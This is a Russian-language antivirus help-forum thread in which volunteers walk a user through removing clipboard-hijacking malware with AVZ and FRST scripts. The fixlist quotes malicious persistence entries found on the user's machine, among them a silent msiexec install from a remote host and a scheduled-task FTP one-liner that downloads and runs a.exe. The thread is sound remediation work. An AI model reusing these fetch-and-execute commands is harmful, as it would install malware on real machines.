Добрый вечер.
В буфере обмена постоянно появляется какой-то левый номер телефона, вместе с ним какие-то явно стремные процессы в диспетчере. Источник трогать не стала.
Логи прикрепила. Помогите пожалуйста
Добрый вечер.
В буфере обмена постоянно появляется какой-то левый номер телефона, вместе с ним какие-то явно стремные процессы в диспетчере. Источник трогать не стала.
Логи прикрепила. Помогите пожалуйста
Уважаемый(ая) Skittles_Requiem, спасибо за обращение на наш форум!
Помощь при заражении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.
Информация
Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.
Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.
Выполните скрипт в AVZ из папки Autologger
Код:begin ShowMessage('Внимание! Перед выполнением скрипта AVZ автоматически закроет все сетевые подключения.' + #13#10 + 'После перезагрузки компьютера подключения к сети будут восстановлены в автоматическом режиме.'); ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true); if not IsWOW64 then begin SearchRootkit(true, true); SetAVZGuardStatus(True); end; QuarantineFile('C:\Users\Skittles\appdata\everything\searchbase.exe',''); QuarantineFile('C:\Users\Skittles\appdata\everything\patch.dll',''); QuarantineFile('C:\Users\Skittles\appdata\everything\everything.exe',''); QuarantineFile('C:\Windows\help\lsmosee.exe',''); QuarantineFile('C:\Users\Skittles\AppData\Roaming\Temps\DOC001.exe',''); TerminateProcessByName('C:\ProgramData\{04769397-0476-0476-047693975212}\lsm.exe'); QuarantineFile('C:\ProgramData\{04769397-0476-0476-047693975212}\lsm.exe',''); TerminateProcessByName('c:\windows\system32\a.exe'); QuarantineFile('c:\windows\system32\a.exe',''); TerminateProcessByName('c:\users\skittles\appdata\roaming\dhelper.exe'); QuarantineFile('c:\users\skittles\appdata\roaming\dhelper.exe',''); DeleteFile('c:\users\skittles\appdata\roaming\dhelper.exe','32'); DeleteFile('c:\windows\system32\a.exe','32'); DeleteFile('C:\ProgramData\{04769397-0476-0476-047693975212}\lsm.exe','32'); RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','start'); RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','start1'); RegKeyParamDel('HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\amigo','command'); DeleteFile('C:\Users\Skittles\AppData\Roaming\Temps\DOC001.exe','32'); DeleteFile('C:\Windows\system32\Tasks\Microsoft LocalManager[Windows 7 Ultimate]','64'); DeleteFile('C:\Windows\system32\Tasks\Mysa3','64'); DeleteFile('C:\Windows\system32\Tasks\Mysa2','64'); DeleteFile('C:\Windows\system32\Tasks\Mysa1','64'); DeleteFile('C:\Windows\system32\Tasks\ok','64'); DeleteFile('c:\windows\debug\ok.dat','32'); DeleteFile('C:\Windows\help\lsmosee.exe','32'); BC_ImportAll; ExecuteSysClean; BC_Activate; RebootWindows(false); end.
- Обратите внимание: будет выполнена перезагрузка компьютера.
Выполните скрипт в AVZ
c:\quarantine.zip пришлите по красной ссылке Прислать запрошенный карантин над первым сообщением темы.Код:begin CreateQurantineArchive('c:\quarantine.zip'); end.
Пожалуйста, ЕЩЕ РАЗ запустите Autologger, прикрепите к следующему сообщению НОВЫЕ логи.
Microsoft MVP 2012-2016 Consumer Security
Microsoft MVP 2016 ReconnectАнтивирусная помощь
Готово
Скачайте Farbar Recovery Scan Tool и сохраните на Рабочем столе.
- Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
1. Запустите программу двойным щелчком. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
2. Убедитесь, что в окне Optional Scan отмечены List BCD, Driver MD5 и 90 Days Files.
3. Нажмите кнопку Scan.
4. После окончания сканирования будет создан отчет (FRST.txt) в той же папке, откуда была запущена программа.
5. Если программа была запущена в первый раз, также будет создан отчет (Addition.txt).
6. Файлы FRST.txt и Addition.txt заархивируйте (в один общий архив) и прикрепите к сообщению.
Microsoft MVP 2012-2016 Consumer Security
Microsoft MVP 2016 ReconnectАнтивирусная помощь
Готово
1. Откройте Блокнот и скопируйте в него приведенный ниже текст
2. Нажмите Файл – Сохранить какКод:CreateRestorePoint: HKLM\...\Run: [start1] => msiexec.exe /i hxxp://js.mykings.top:280/helloworld.msi /q <==== ATTENTION HKLM-x32\...\Run: [rundll32] => [X] HKLM\SOFTWARE\Policies\Microsoft\Windows Defender: Restriction <==== ATTENTION HKU\S-1-5-21-3007725585-1832440235-3636534268-1000\...\Run: [Adobe] => C:\Users\Skittles\AppData\Local\145fd20\svсhоst.exe [2 2016-10-27] () HKU\S-1-5-21-3007725585-1832440235-3636534268-1000\...\Run: [] => [X] HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local: [ActivePolicy] SOFTWARE\Policies\Microsoft\Windows\IPSEC\Policy\Local\ipsecPolicy{d518f2a1-5060-43ae-8717-85848f913d03} <==== ATTENTION (Restriction - IP) CHR StartupUrls: Default -> "hxxp://www.istartsurf.com/?type=hp&ts=1424191126&from=smt&uid=ST2000DL003-9VT166_5YD7YXMGXXXX5YD7YXMG","hxxp://www.istartsurf.com/?type=hppp&ts=1424191164&from=smt&uid=ST2000DL003-9VT166_5YD7YXMGXXXX5YD7YXMG","hxxp://www.google.com/","hxxp://www.\u003C!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"hxxp://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">","hxxp://www.\u003C!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"hxxp://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">?type=hppppppppppppppppppppppp","hxxp://www.\u003C!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"hxxp://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">?type=hppppppppppppppppppppppppp","hxxp://www.istartsurf.com/?type=hppp&ts=1434204691&from=xtab&uid=5959259E55CE4d308004C90FF7CF638C" CHR HKLM-x32\...\Chrome\Extension: [bopakagnckmlgajfccecajhnimjiiedh] - hxxp://clients2.google.com/service/update2/crx CHR HKLM-x32\...\Chrome\Extension: [fidibeiehaokohhbnkdjmkcapgnndfkc] - hxxps://clients2.google.com/service/update2/crx CHR HKLM-x32\...\Chrome\Extension: [jkagakiplhpgacmegfblcddbckenmiio] - hxxps://clients2.google.com/service/update2/crx CHR HKLM-x32\...\Chrome\Extension: [kjlpdpfmpoggibmjgmbaoidffidifakh] - hxxps://clients2.google.com/service/update2/crx 2018-08-15 12:39 - 2018-08-15 22:23 - 000000000 __SHD C:\Users\Все пользователи\{04769397-0476-0476-047693975212} 2018-08-15 12:39 - 2018-08-15 22:23 - 000000000 __SHD C:\ProgramData\{04769397-0476-0476-047693975212} 2018-08-13 21:31 - 2018-08-13 21:31 - 000000000 __SHD C:\Users\Все пользователи\{11364138-1136-1136-113641384703} 2018-08-13 21:31 - 2018-08-13 21:31 - 000000000 __SHD C:\ProgramData\{11364138-1136-1136-113641384703} 2018-08-13 13:22 - 2018-08-13 13:22 - 000000000 __SHD C:\Users\Все пользователи\{53261523-5326-5326-532615232860} 2018-08-13 13:22 - 2018-08-13 13:22 - 000000000 __SHD C:\ProgramData\{53261523-5326-5326-532615232860} 2018-08-12 13:21 - 2018-08-12 13:21 - 000000000 __SHD C:\Users\Все пользователи\{47765301-4776-4776-477653017180} 2018-08-12 13:21 - 2018-08-12 13:21 - 000000000 __SHD C:\ProgramData\{47765301-4776-4776-477653017180} 2018-08-12 13:20 - 2018-08-12 13:20 - 000000000 __SHD C:\Users\Все пользователи\{29476086-2947-2947-294760860047} 2018-08-12 13:20 - 2018-08-12 13:20 - 000000000 __SHD C:\ProgramData\{29476086-2947-2947-294760860047} 2018-08-11 16:26 - 2018-08-11 16:26 - 000000000 __SHD C:\Users\Все пользователи\{76742724-7674-7674-767427241713} 2018-08-11 16:26 - 2018-08-11 16:26 - 000000000 __SHD C:\ProgramData\{76742724-7674-7674-767427241713} 2018-08-11 16:26 - 2017-06-04 20:01 - 000000000 __RSH C:\Users\Skittles\AppData\Roaming\cppredistx86.exe 2018-08-11 16:25 - 2018-08-15 22:23 - 000000000 ____D C:\Users\Skittles\AppData\Roaming\Temps 2018-08-11 16:24 - 2018-08-14 15:14 - 001033460 _____ () C:\Users\Skittles\AppData\Local\Temp\doc.exe 2015-11-07 18:56 - 2015-11-07 19:02 - 021544960 _____ () C:\Users\Skittles\AppData\Local\Temp\h7RluuPKNDjB.exe 2018-08-11 16:26 - 2018-08-11 16:26 - 002135466 _____ () C:\Users\Skittles\AppData\Local\Temp\java.exe 2018-08-11 16:26 - 2018-08-11 16:26 - 000204800 _____ () C:\Users\Skittles\AppData\Local\Temp\java12.exe 2018-02-26 06:26 - 2016-01-26 10:34 - 000871728 _____ () C:\Users\Skittles\AppData\Local\Temp\tasklisten.exe 2016-10-05 20:00 - 2016-10-05 20:00 - 000065280 _____ () C:\Users\Skittles\AppData\Local\Temp\utils.dll 2015-11-07 19:02 - 2015-11-07 19:02 - 000000000 _____ () C:\Users\Skittles\AppData\Local\Temp\vsni8zmORqJO.exe 2015-11-07 18:59 - 2015-11-07 19:02 - 001056768 _____ () C:\Users\Skittles\AppData\Local\Temp\xO8KaSWzuSm9.exe 2015-11-07 18:55 - 2015-11-07 18:56 - 004562136 ____N () C:\Users\Skittles\AppData\Local\Temp\Z72F9d4XVkm2.exe Task: {7C64FE33-7330-4257-B5A5-BF6CDB52A3BF} - \Microsoft LocalManager[Windows 7 Ultimate] -> No File <==== ATTENTION Task: {A3847F0A-321A-4BC3-B27D-F26951318A39} - \Mysa2 -> No File <==== ATTENTION Task: {AF6012B9-423F-4280-9F54-1A7DC4E7400A} - System32\Tasks\Mysa => cmd /c echo open down.mysking.info>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe>>s&echo bye>>s&ftp -s:s&a.exe <==== ATTENTION Task: {BC2A3506-6FFA-4907-8C9C-4D2197414D0C} - \Mysa1 -> No File <==== ATTENTION Task: {C13410BF-D894-41C9-A9AE-E4936C8BC960} - \Mysa3 -> No File <==== ATTENTION Task: {DEB7DF20-9DC1-42BE-A87D-712127C0D9D0} - \ok -> No File <==== ATTENTION AlternateDataStreams: C:\ProgramData\TEMP:9026EFD0 [124] AlternateDataStreams: C:\Users\Все пользователи\TEMP:9026EFD0 [124] MSCONFIG\startupreg: amigo => C:\Users\Skittles\AppData\Local\Amigo\Application\amigo.exe --no-startup-window Reboot:
3. Выберите папку, откуда была запущена утилита Farbar Recovery Scan Tool
4. Укажите Тип файла – Все файлы (*.*)
5. Введите имя файла fixlist.txt и нажмите кнопку Сохранить
6. Запустите FRST, нажмите один раз на кнопку Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении.
- Обратите внимание: будет выполнена перезагрузка компьютера.
Microsoft MVP 2012-2016 Consumer Security
Microsoft MVP 2016 ReconnectАнтивирусная помощь
И еще раз готово
Проблема решена?
Microsoft MVP 2012-2016 Consumer Security
Microsoft MVP 2016 ReconnectАнтивирусная помощь
Установите ВСЕ доступные обновления для системы.
Microsoft MVP 2012-2016 Consumer Security
Microsoft MVP 2016 ReconnectАнтивирусная помощь
Статистика проведенного лечения:
- Получено карантинов: 1
- Обработано файлов: 8
- В ходе лечения обнаружены вредоносные программы:
- c:\programdata\{04769397-0476-0476-047693975212}\lsm.exe - Trojan.Win32.Tasker.it ( BitDefender: Gen:Trojan.Heur.RP.mqW@amq8kwoi, AVAST4: Win32:Trojan-gen )
- c:\users\skittles\appdata\everything\everything.ex e - not-a-virus:AdWare.Win32.ELEX.ct
- c:\users\skittles\appdata\everything\searchbase.ex e - not-a-virus:AdWare.Win32.ELEX.ck
- c:\users\skittles\appdata\roaming\dhelper.exe - HEUR:Trojan.Win32.Generic ( AVAST4: Win32:Malware-gen )
- c:\users\skittles\appdata\roaming\temps\doc001.exe - HEUR:Trojan.Win32.Agent.gen ( BitDefender: Application.BitCoinMiner.IG, AVAST4: Win32:Adware-gen [Adw] )
- c:\windows\help\lsmosee.exe - HEUR:Trojan.Win32.Generic ( AVAST4: Win32:Malware-gen )
- c:\windows\system32\a.exe - Trojan.Win32.Agentb.jddg
Уважаемый(ая) Skittles_Requiem, наши специалисты оказали Вам всю возможную помощь по вашему обращению.
В целях поддержания безопасности вашего компьютера настоятельно рекомендуем:
Чтобы всегда быть в курсе актуальных угроз в области информационной безопасности и сохранять свой компьютер защищенным, рекомендуем следить за последними новостями ИТ-сферы портала Anti-Malware.ru:
Надеемся больше никогда не увидеть ваш компьютер зараженным!
Если Вас не затруднит, пополните пожалуйста нашу базу безопасных файлов.